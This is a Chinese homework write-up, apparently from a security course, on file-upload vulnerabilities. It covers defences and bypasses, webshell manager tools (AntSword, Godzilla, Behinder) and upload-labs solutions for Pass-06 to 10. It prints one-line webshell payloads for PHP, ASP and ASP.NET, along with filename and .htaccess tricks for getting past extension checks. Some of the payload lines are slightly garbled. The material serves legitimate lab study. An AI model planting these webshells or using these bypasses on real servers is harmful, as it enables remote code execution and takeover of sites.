第七次作业

1.文件上传防御手段及绕过手段总结

1.1文件上传防御手段

文件类型验证:

       扩展名验证:检查上传文件的扩展名是否属于允许上传的文件类型。

       MIME类型验证:通过读取文件的MIME类型来进一步确认文件的类型。

文件内容检查:

       文件签名验证:检查文件的头部信息,确保文件的真实类型与声称的一致。

       病毒扫描:使用反病毒软件扫描上传的文件,防止上传带有恶意代码的文件。

文件大小限制:

       设置合理的文件大小上限,防止大文件上传导致的服务器资源耗尽。

文件名处理:

       规范化文件名:对上传的文件名进行规范化处理,去除非法字符或特殊字符。

       重命名文件:上传后自动更改文件名为随机字符串,防止利用文件名中的漏洞。

1.2绕过手段

1.大/双写文件名绕过

       通过修改文件名(如添加空格、双写扩展名等)来绕过文件类型校验。

2.恶意文件内容以多段拼凑/拆解的形式组合

        通过将恶意内容分割成多个小段,攻击者可以降低被安全检测系统(如防火墙、入侵检测系统等)识别的概率。这些系统通常会对上传的文件进行扫描,分段上传可以使得每个部分看起来都是合法的,从而逃避检测。

3.目录穿越到可执行目录

      通过构造特殊的文件路径,将文件上传到可执行目录下。

4.htaccess重写解析绕过上传

      如果黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。在htaccess文件中写入SetHandler application/x-httpd-php则可以将文件重写成php文件。PHPstudy中要使htaccess文件的规则生效,则需要在apache开启rewite重写模块,apache大多数都默认开启该模块,所以一般情况下都生效

2.文件上传常用一句话木马

1.php
<?php @eval($ POST['cmd']);?>
<?php assert($ PoST['cmd']);?>
2.asp
<%eval request("cmd")%>
<%execute(request("cmd"))%>
3.sap.net
<% @System.Diagnostics.Process.Start(Request["cmd"]) %>

3.课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

3.1蚁剑

创建木马,上传服务器

右键添加数据,测试链接并保存

配置代理服务与burpsuit一致

打开burpsuit,对抓包进行分析

3.2哥斯拉

点击管理生成

选择上传位置

点击目标添加

点击目标数据进入

打开burpsuit,对抓包进行分析

3.3冰蝎

创建连接

设置代理

4.文件上传无回显如何查找webshell地址

       检查日志文件:服务器通常会记录所有的请求,包括文件上传。检查服务器日志文件,如Apache的access.log或Nginx的access.log,查找上传文件的记录。

        使用安全扫描工具:有一些安全扫描工具,如sqlmap或Burp Suite,可以帮助找到上传的文件。

       通过网站地图(sitemap)和搜索引擎链接分析:如果上传的webshell被索引到网站地图或被其他页面链接到,可以通过这些方式查找。

     使用默认后门文件名:攻击者通常会使用一些默认的文件名来保存后门文件,如webshell.php、hacked.php等,尝试这些文件名进行访问。

使用安全监控和入侵检测系统(IDS/IPS):如果有这样的系统在监控网站,它们可能已经记录了上传文件的行为。

5.文件上传表单的无参/有参情况下构造表单 

        在进行文件上传时,通常需要构造一个HTML表单来提交文件数据。根据是否需要额外的数据(如表单字段),可以分为无参数(无参)和有参数(有参)两种情况。下面是两种情况下如何构造表单的例子:

5.1无参(无额外数据)

        如果只需要上传一个文件而不需要额外的数据(如用户名、密码等),则可以简化表单如下:

<form action="/upload" method="post" enctype="multipart/form-data">

    <input type="file" name="fileToUpload" id="fileToUpload">

    <input type="submit" value="Upload File" name="submit">

</form>

在这个例子中:

       action属性指定了处理文件上传的服务器端脚本的URL。

        method 属性设为 `post` 表示使用POST方法发送数据。

        enctype属性设为 `multipart/form-data` 是因为只有这种编码类型支持文件上传。

        type="file" 输入框用于让用户选择要上传的文件。

        提交按钮用于触发文件上传。

5.2 有参(有额外数据)

        如果有额外的数据需要与文件一起上传,比如用户名、密码等,可以在表单中加入这些字段:

<form action="/upload" method="post" enctype="multipart/form-data">

    <label for="username">Username:</label>

    <input type="text" name="username" id="username"><br><br>

    <label for="password">Password:</label>

    <input type="password" name="password" id="password"><br><br>

    <label for="fileToUpload">Select file to upload:</label>

    <input type="file" name="fileToUpload" id="fileToUpload"><br><br>

    <input type="submit" value="Upload File" name="submit">

</form>

在这个例子中:

        添加了文本输入框 username 和密码输入框 password。

        其他元素与无参的情况相同。

当构造表单时,有几个关键点需要注意:

       表单编码类型:必须使用 `multipart/form-data` 才能上传文件。

       文件输入名称:上传的文件将根据这个输入框的 `name` 属性值被发送到服务器。

       服务器端处理:服务器端脚本需要能够处理 `multipart/form-data` 类型的POST请求,并从中提取文件和其他数据。

       构造好表单之后,还需要确保服务器端代码能够正确地处理这些数据。这通常涉及到读取请求中的文件数据,验证文件类型,存储文件,以及处理额外的数据字段。

6. upload-labs靶场通关第6-第10关

Pass-06

查看源码,发现缺少strtolower()函数,可以使用大小写绕过

将文件后缀改为大写,上传成功

Pass-07

查看源码,发现缺少trim()函数,没有对后缀名进行去空处理,可在后缀名中加空格绕过

在文件后缀名后加空格,成功上传

pass-08

查看源码,发现缺少deldot()函数,没有对文件名末尾的点进行删除,可在后缀名后加点绕过

在文件后缀名后加点,成功上传

Pass-09

查看源码,没有对后缀名进行去“::$DATA”处理,可在后缀名中加::$DATA绕过

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

在后缀名中加”::$DATA,成功上传

Pass-10

查看源码

deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

于是改后缀为:.php. .

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值